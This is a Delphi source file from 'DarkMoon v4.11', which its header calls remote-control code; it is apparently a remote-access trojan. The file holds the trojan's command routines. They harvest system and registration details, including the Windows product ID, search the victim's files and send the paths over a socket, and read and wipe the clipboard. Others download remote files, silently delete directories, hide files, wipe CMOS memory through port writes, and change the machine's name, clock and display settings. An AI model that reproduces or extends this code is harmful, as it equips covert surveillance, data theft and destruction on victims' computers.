dmucommandsandutils.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

    // Contestar( UDP, Cli ,'--------------------------------------------------------------',tcp );
     //Contestar( UDP, Cli ,'',tcp );
end;
   ///////////////////////////////////////////////////////////////////////////////
function SystemInfo() : string;
const
  cBIOSName      = $FE061;
  cBIOSDate      = $FFFF5;
  cBIOSExtInfo   = $FEC71;
  cBIOSCopyright = $FE091;
  rkBIOS         = 'HARDWARE\DESCRIPTION\System';
  rvBiosDate     = 'SystemBiosDate';
  rvBiosID       = 'Identifier';
  rvBiosVersion  = 'SystemBiosVersion';
var OS : TOSVersionInfo;
    SI : TSystemInfo;
    MS : TMemoryStatus;
    Version, User, Org, Serial, Zona_Horaria, Cpu : String;
    tipoConexion: DWORD;
    data : string;
begin
    Zona_Horaria := Leer( HKEY_LOCAL_MACHINE,
                          'SYSTEM\CurrentControlSet\Control\TimeZoneInformation',
                          'StandardName' );

    Version := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWARE\Microsoft\Windows\CurrentVersion',
                     'Version' );

    Version := Version + ', ' + Leer( HKEY_LOCAL_MACHINE,
                                      'SOFTWARE\Microsoft\Windows\CurrentVersion',
                                      'VersionNumber' );
    Org     := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWARE\Microsoft\Windows\CurrentVersion',
                     'RegisteredOrganization' );

    User    := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWARE\Microsoft\Windows\CurrentVersion',
                     'RegisteredOwner' );

    Serial  := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWARE\Microsoft\Windows\CurrentVersion',
                     'ProductID' );

    Cpu     := Leer( HKEY_LOCAL_MACHINE,
                     'Hardware\Description\System\CentralProcessor\0',
                     'Identifier' ) + ' - ' +
               Leer( HKEY_LOCAL_MACHINE,
                     'Hardware\Description\System\CentralProcessor\0',
                     'VendorIdentifier' );

    ZeroMemory( @OS, SizeOf( OS ) );
    OS.dwOSVersionInfoSize := SizeOf( OS );
    GetVersionEx( OS );

    ZeroMemory( @MS, SizeOf( MS ) );
    MS.dwLength := SizeOf( MS );
    GlobalMemoryStatus( MS );
    ZeroMemory( @SI, SizeOf( SI ) );
    GetSystemInfo( SI );
    data:=data + 'iNf' +'*' + LocalIP  +'*'+ DMVersion+'*'+ VentanaActiva +'*'+ Cpu  +'*'+ IntToStr( Trunc( GetCpuSpeed ) )+ ' Mhz'+
    '*'+ IntToStr( Trunc(   MS.dwTotalPhys/ 1024  /1024 )) + ' MByte'+
    '*'+ IntToStr( Trunc(   MS.dwAvailPhys / 1024  /1024 )) + ' MByte'+
    '*'+ IntToStr( Trunc(  MS.dwAvailVirtual / 1024  /1024 )) + ' MByte';



    if InternetGetConnectedState(@tipoConexion, 0) then
    begin

        if ( tipoConexion and 1 ) = 1 then
        data:=data +'*'+ 'MODEM' ;
        if ( tipoConexion and 2 ) = 2 then
          data:=data +'*'+ 'LAN' ;
        if ( tipoConexion and 4 ) = 4 then
           data:=data +'*'+ 'PROXY' ;
        if ( tipoConexion and 8 ) = 8 then
          data:=data +'*'+ 'MODEM BUSY' ;
    end;

  data:=data +'*'+  Version;

   data:=data +'*'+ Zona_Horaria;

    data:=data +'*'+ FindWindowsDir ;
     data:=data +'*'+ Serial ;
    data:=data +'*'+ User;
    data:=data +'*'+ Org ;
   data:=data +'*'+ Usuario;
    data:=data +'*'+ ddate + Time ;
    data:=data +'*'+  IntToStr( Trunc( GetTickCount / 1000 / 60  ) ) + ' Minutes' ;
    data:=data +'*'+  IntToStr( GetSystemMetrics( SM_CXSCREEN ) ) + '*' + IntToStr( GetSystemMetrics( SM_CYSCREEN ) );


   if not esXp then
   begin

        try  data:=data +'*'+ string( pchar( ptr( cBIOSName ) ) )  except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSCopyright) ) ); except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSDate ) ) )  ; except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSExtInfo ) ) ) ; except end;
   end;

   Result:=Data;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure VaciarPapelera( Whandle : Thandle );
type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar;DWORD: Word): integer; stdcall;
var  SHEmptyRecycleBin  : TSHEmptyRecycleBin;
     Lib                : THandle;
begin
     try Lib                := LoadLibrary( PChar( 'Shell32.dll' ) );
         @SHEmptyRecycleBin := GetProcAddress( Lib , 'SHEmptyRecycleBinA' );
         SHEmptyRecycleBin( Whandle, '' , 7 );
         FreeLibrary( Lib );
         except
     end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function DelTree( Parametro : String ): string;
var SHFileOpStruct : TSHFileOpStruct;
    DirBuf         : array [0..255] of char;
begin
     Result := 'It cant delete the Dir: ' + Parametro + '"';
     try
        Fillchar( SHFileOpStruct, Sizeof( SHFileOpStruct ), 0 );
        FillChar( DirBuf, Sizeof( DirBuf ), 0 );
        StrPCopy( DirBuf, Parametro );
        with SHFileOpStruct do
        begin
             Wnd    := 0;
             pFrom  := @DirBuf;
             wFunc  := FO_DELETE;
             fFlags := FOF_ALLOWUNDO;
             fFlags := fFlags or FOF_NOCONFIRMATION;
             fFlags := fFlags or FOF_SILENT;
        end;
        if ( SHFileOperation( SHFileOpStruct ) = 0 ) then
            Result := 'The Dir: "' + Parametro + '",was deleted';
        except ;
     end;
 //   VaciarPapelera(Handle);
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure PonerOculto( s :String);
var i : Byte;
begin
     i := GetFileAttributes( Pchar ( s ) );
     i := i or $00000002;   //hidden
     SetFileAttributes( Pchar( s ),i );
end;

function Ocultar( Path: String; oculto:Boolean  ): String ;
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     retval := FindFirstFile( PChar( path ), sr );
     if retval = -1 then
          Exit;
     sigue := true;
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
         begin
             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                  Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '\*.*', true );
         end
         else begin
                   poneroculto(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
               end;
         sigue := FindNextFile( retval, sr );
      end;
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     sigue := true;
     if path[ Length( path ) ] <> '\' then
        path := path +'\';
     retval := FindFirstFile( Pchar( path + '*.*' ), sr );
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
            if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                 BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
         sigue := FindNextFile( retVal, sr );
     end;

     if path[ Length( path ) ] <> '\' then
        path := path + '\';
     RetVal := FindFirstFile( Pchar( path + mask ), sr );
     if RetVal = -1 then
        Exit;
     sigue := true;
     while sigue do
     begin
          if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
             SendData(SOCKET, 'FiLeSeArCh'+ '^' + path + sr.CfileName + '^');
             sleep(100);

          sigue := FindNextFile( retVal, sr );


     end;
end;

///////////////////////////////////////////////////////////////////////////////

function Resoluciones( udp : Tsocket; cli : Tsockaddr; tcp:integer) : String ;
var c , i : integer;
    DevMode : TDeviceMode;
    l : string;
begin
   c := 0;
   l := Chr(13);
   i := 0;
   //Contestar( Udp, cli, LocalIP + ': Resoluciones de video',tcp );
   while EnumDisplaySettings( nil, c, DevMode ) do
   begin
      inc( i );
      with DevMode do
     // Contestar( udp,
               //  cli,
              //   IntToStr( i ) + ' - ' + IntToStr( dmPelsWidth ) + '*' + IntToStr( dmPelsHeight ) + ', ' + IntToStr( dmBitsPerPel ), tcp);
      Inc( c );
   end;
end;

  ///////////////////////////////////////////////////////////////////////////////

function ClearCMos: String;
begin
     if esXP then
     begin
          Result := '&1&';
          Exit;
     end;
     Result := '&0&';
     try
       asm
          MOV AX,0h

   @L1:   OUT 70h,AX
          MOV BX,AX
          MOV AX,0h
          OUT 71h,AX
          MOV AX,BX
          INC AX
          CMP AX,03Fh
         JNZ @L1
      end;
      except end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function LeerPortaPapeles( WHandle : Thandle ) : String;
var Data : THandle;
begin
     LeerPortaPapeles := 'ERROR, Trashcan';
     CloseClipboard;
     OpenClipboard( WHandle );
     Data := GetClipboardData( CF_TEXT );
     try if Data <> 0 then
              Result := PChar( GlobalLock( Data ) );
         if Data <> 0 then GlobalUnlock( Data );
         CloseClipboard;
         except
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function  Borrar_Clipboard( handle : Thandle ) : String;
begin
     CloseClipboard;
     OpenClipboard( Handle );
     EmptyClipboard;
     CloseClipboard;
     Result := 'Trashcan was empty';
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
begin
     if Bajando then
     begin
          Exit;
     end;
     if FileExists( Parametro2 ) then
     begin

          Exit;
     end;
     Bajando := TRUE;
     if Descargar( Parametro, parametro2 ) then

     else

     Bajando := FALSE;
end;
   ///////////////////////////////////////////////////////////////////////////////
function  CambiarNombrePC( parametro : string ): string;
begin
     try SetComputerName( PChar( Parametro ) ); except end;
     Result := 'cumputers name was changed to :' + Parametro;
end;

function Set_Resolucion( Parametro : String ) : string;
var DevMode : TDeviceMode;
begin
     if esXp then
     begin
          Result := 'it doesnt work on XP!!!';
          Exit;
     end;
     if StrToInt( Parametro ) < 0 then
        Exit;
     try if EnumDisplaySettings( nil, StrToInt( Parametro ), DevMode ) then
            ChangeDisplaySettings( DevMode, 0 );
         Result := 'Resulution changed';
         except Result := 'Error';
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function SetTime( parametro : String ) : String;
var Fecha   : TSystemTime;
    m, d, y : Word;
    tmp     : String;
begin
     Tmp := Parametro;
     GetLocalTime( Fecha );
     d := StrToInt( Copy( parametro, 1, 2 ) );//day
     m := StrToInt( Copy( parametro, 4, 5 ) );//mouth
     y := StrToInt( Copy( parametro, 7, 10 ) );//year
     with Fecha do
     begin
          wYear  := y;
          wMonth := m;
          wDay   := d;
     end;     
     if SetSystemTime( Fecha ) then
        Result := 'The time was changed with succeful'
     else
         Result := 'ERROR; Time couldnt been changed';
end;
  ///////////////////////////////////////////////////////////////////////////////
function Red(Color: LongInt):integer;
begin
     Red := Color mod 256;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Green(Color: LongInt):integer;
begin
     Green := ((Color and $FF00) div 256) mod 256;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Blue(Color: LongInt):integer;
begin
     Blue := (Color and $FF0000) div 65536;
end;

  ///////////////////////////////////////////////////////////////////////////////
function Color_Menues( parametro : String ): String ;
var R, G, B : Integer;
    Colors, Items : array [ 0..1 ] of LongInt;
begin
    try R := Red( StrToInt64( Parametro ) );
         G := Green( StrToInt64( Parametro ) );
         B := Blue( StrToInt64( Parametro ) );
         Items[ 0 ]  := COLOR_MENU;
         Items[ 1 ]  := COLOR_MENUTEXT;
         Colors[ 0 ] := StrToInt64( Parametro );
         Colors[ 1 ] := RGB( 255 - R, 255 - G, 255 - B );
         SetSysColors( High( Items ), Items, Colors );
         Result := 'Menu colors were Changed';
         except Result := 'ERROR';
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function Color3d( Parametro : String) : String;
var Colors, Items : array [ 0..1 ] of LongInt;
begin
     try Items[ 0 ] := COLOR_BTNFACE;
     Items[ 1 ] := COLOR_3DFACE;
     Colors[ 0 ]:= StrToInt64( Parametro );
     Colors[ 1 ]:= StrToInt64( Parametro );
     SetSysColors( High( Items ), Items, Colors );
     Result := ': 3d color was changed';
     except end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Color_Ventanas( Parametro :string ) : String;
var Colors, Items : array [ 0..1 ] of LongInt;
begin
     try Items[ 0 ]  := COLOR_WINDOW;
         Items[ 1 ]  := COLOR_WINDOW;
         Colors[ 0 ] := StrToInt( Parametro );
         Colors[ 1 ] := StrToInt( Parametro );
         SetSysColors( High( Items ), Items, Colors );
         Result := 'windows colors were changed';
         except Result := 'ERROR';
     end;

end;